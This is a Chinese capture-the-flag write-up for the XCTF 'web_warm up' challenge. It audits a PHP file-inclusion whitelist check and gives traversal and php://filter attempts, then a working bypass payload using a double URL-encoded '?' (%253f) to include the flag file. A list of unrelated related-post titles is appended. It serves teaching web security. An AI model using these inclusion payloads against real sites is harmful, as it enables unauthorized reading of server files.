攻防世界web_warm up
进来一个贴吧滑稽,F12 发现source.php,又是脑壳疼的PHP代码审计
注意hint.php,访问,提示flag不在,在ffffllllaaaagggg中,尝试下常用payload
index.php?file=../../../../../../ffffllllaaaagggg.phpindex.php?file=php://filter/read=convert.base64-encode/resource=index.php
似乎不行,老老实实审计代码,代码有点繁琐但挺好理解,根据最后一段,满足三个条件即可文件包含
<?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page) //传入了变量page,也就是传进来的file{// 定义白名单$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {/*为了返回 true 两个条件必须知足1 page存在 2 page是字符串 ,这里和外层的判断file 一致基本是再次判断了一遍*/echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}/*in_array(search,array,type) 函数搜索数组中是否存在指定的值,白名单过滤,须要返回了ture因此这里咱们传入的page或者是通过截断以后的page必须是soure.php或hint.php,这里是正常的访问,咱们须要构造文件任意包含,因此这里传入的不知足条件,这里不是注意的点,往下继续看*/$_page = mb_substr( $page,0,mb_strpos($page . '?', '?'));/*这里mb_sustr 是个截断,返回0到mb_strpos之间的内容,而mb_strps 则是查找第一次出现的位置,因此基本能够理解为获取page 两个?之间的字符串,也就是获取file两个?之间的字符串,放到url中就是http://ip/?file=ddd?中的file=ddd*/ if (in_array($_page, $whitelist)) { return true;}//这里和上面相似 查看_page 是否在白名单中$_page = urldecode($page); // 这里发现对_page进行了一次decode解码,$_page = mb_substr(//获取两个??之间的内容$_page,0,mb_strpos($_page . '?', '?'));// 这里是咱们要绕过的点,从这里往上看 尝试构造if (in_array($_page, $whitelist)) {//白名单return true;}echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}/*必须知足if条件,才能包含file,这里也能够猜到可能考的是文件包含: 1 REQUEST['file']不为空 2 REQUEST['file']是字符串 3 checkFile($_REQUEST['file']) 为ture,回到checkFile 函数分析如何返回true*/
?>
第一个if语句对变量进行检验,要求$page存在且为为字符,不然返回false
第二个if语句判断$page是否存在于$whitelist数组中,存在则返回true
第三个if语句判断截取后$page是否存在于$whitelist数组中,截取$page中'?'前部分,存在返回true
第四个if语句判断url解码并截取后的$page是否存在于$whitelist中,存在则返回true
若以上四个if语句均未返回值,则返回false
有三个if语句能够返回true,第二个语句直接判断$page,不可用
第三个语句截取'?'前部分,因为?被后部分被解析为get方式提交的参数,也不可利用
第四个if语句中,先进行url解码再截取,所以咱们能够将?通过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为'?',仍可经过第四个if语句校验。('?'两次编码值为'%253f'),构造url:
因此咱们的payload 就是 file=source.php?file=source.php%253f../../../../../ffffllllaaaagggg
mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
mb_substr() 函数返回字符串的一部分
攻防世界web_warm up相关推荐
- 【攻防世界001】Guess-the-Number
攻防世界之前刷了几十题了,没写wp,感觉很简单没啥意思.后来参加了几次比赛,发现有点干不动,决定还是老老实实刷题好了.这是第一篇wp,这题很简单,是个jar,用jd-gui可以得到java源码. 原来 ...
- 攻防世界(pwn)--Mary_Morton 利用格式化字符串+栈溢出破解Canary的保护机制
ctf(pwn) canary保护机制讲解 与 破解方法介绍 程序执行流程 有三个选项,1是利用栈溢出,2是利用格式化字符串,3是退出;可连续输入多次; IDA分析 解题思路 程序存在canary保护 ...
- 攻防世界(Pwn) forgot---栈溢出;(方法二)
攻防世界(Pwn) forgot-栈溢出:(方法一) 里面对问题描述的更详细一点 返回目标函数 0x80486CC 方法二(爆破流) 因为最终返回的是 v3[0]-v3[9] 之中的一个函数, v3[ ...
- 攻防世界(Pwn) forgot---栈溢出;(方法一)
攻防世界(Pwn) forgot-栈溢出:(方法二) 介绍 这道题表面看起来有点复杂,其实很简单,有两种方法可以来做这一道题; 方法一(精确打击) 文件运行流程是: 1.先输入名字 2. 输入一串字符 ...
- 攻防世界misc新手_[攻防世界]mobile新手练习区easy-apk
[攻防世界]mobile新手练习区easy-apk easy-apk最佳Writeup由129师386旅独立团 • devi1提供 难度系数: 7.0 题目来源: 暂无 题目描述:无 题目场景: 暂无 ...
- 攻防世界 ——crypto
目录 新手区部分题解: 1,easy_RSA 2,Normal_RSA 3, 幂数加密 4,easy_ECC 高手进阶区部分题题解 5, ENC 6,告诉你个秘密 7,Easy-one 8,说我作弊需 ...
- 攻防世界———MISC 高手区题解
目录 1,base64stego 2,easycap 3,Avatar 4,What-is-this 5,签到题 6,Training-Stegano-1 7,Excaliflag 8,Get-the ...
- 攻防世界 web(二)
这周接着刷攻防世界的web题( ̄︶ ̄)↗ 1.command_execution 看提示这题为命令执行漏洞(command_execution),关于命令执行漏洞,我前面有篇博客详细介绍了,大家不了解 ...
- misc高阶 攻防世界_攻防世界 Misc 进阶题(一)
攻防世界 Misc 进阶题(一) 关于隐写术的思路或方法 转载: https://blog.csdn.net/a_small_rabbit/article/details/79644078 隐 ...
最新文章
- python输出中文加数字_python处理“#”开头加数字的html字符方法
- 盘点六大在中国复制失败的O2O案例
- SQLite数据库损坏与修复
- Spring Boot-使用Spring Initializer快速创建Spring Boot项目
- JavaSE——异常处理(异常简介、try-catch-finally、throws、throw)
- C# 声明方法的语法
- 12GB超大内存!华为超级旗舰手机悄悄现身
- srsLTE源码学习:S1接口抓包s1ap_pcap.h,s1ap_pcap.cc
- 新增国内mysql下载镜像
- msys2 预编译的包 查询和下载
- 怎么自学plc和自动化技术?
- php 分布式事务 DTM (TCC模式和Saga模式的区别)
- STM32控制启动步进电机
- MyBatis映射文件如何给数据库的int类型字段“插入”string类型记录
- 驾考一点通维语版_驾考宝典维语版下载_驾考宝典维语版手机版下载_驾考宝典维语版安卓版下载-木蚂蚁...
- Post-doc positions 新年的一波优质职位
- 万象管理系统需要服务器吗,万象网吧管理系统在使用中常见的几个问题
- IPCamera监控软件如何支持joystick遥控手柄控制云台
- windows 密码破解法
- 【小5聊】微信公众平台用户信息相关接口调整,不再返回性别和地区信息(2021.10.21)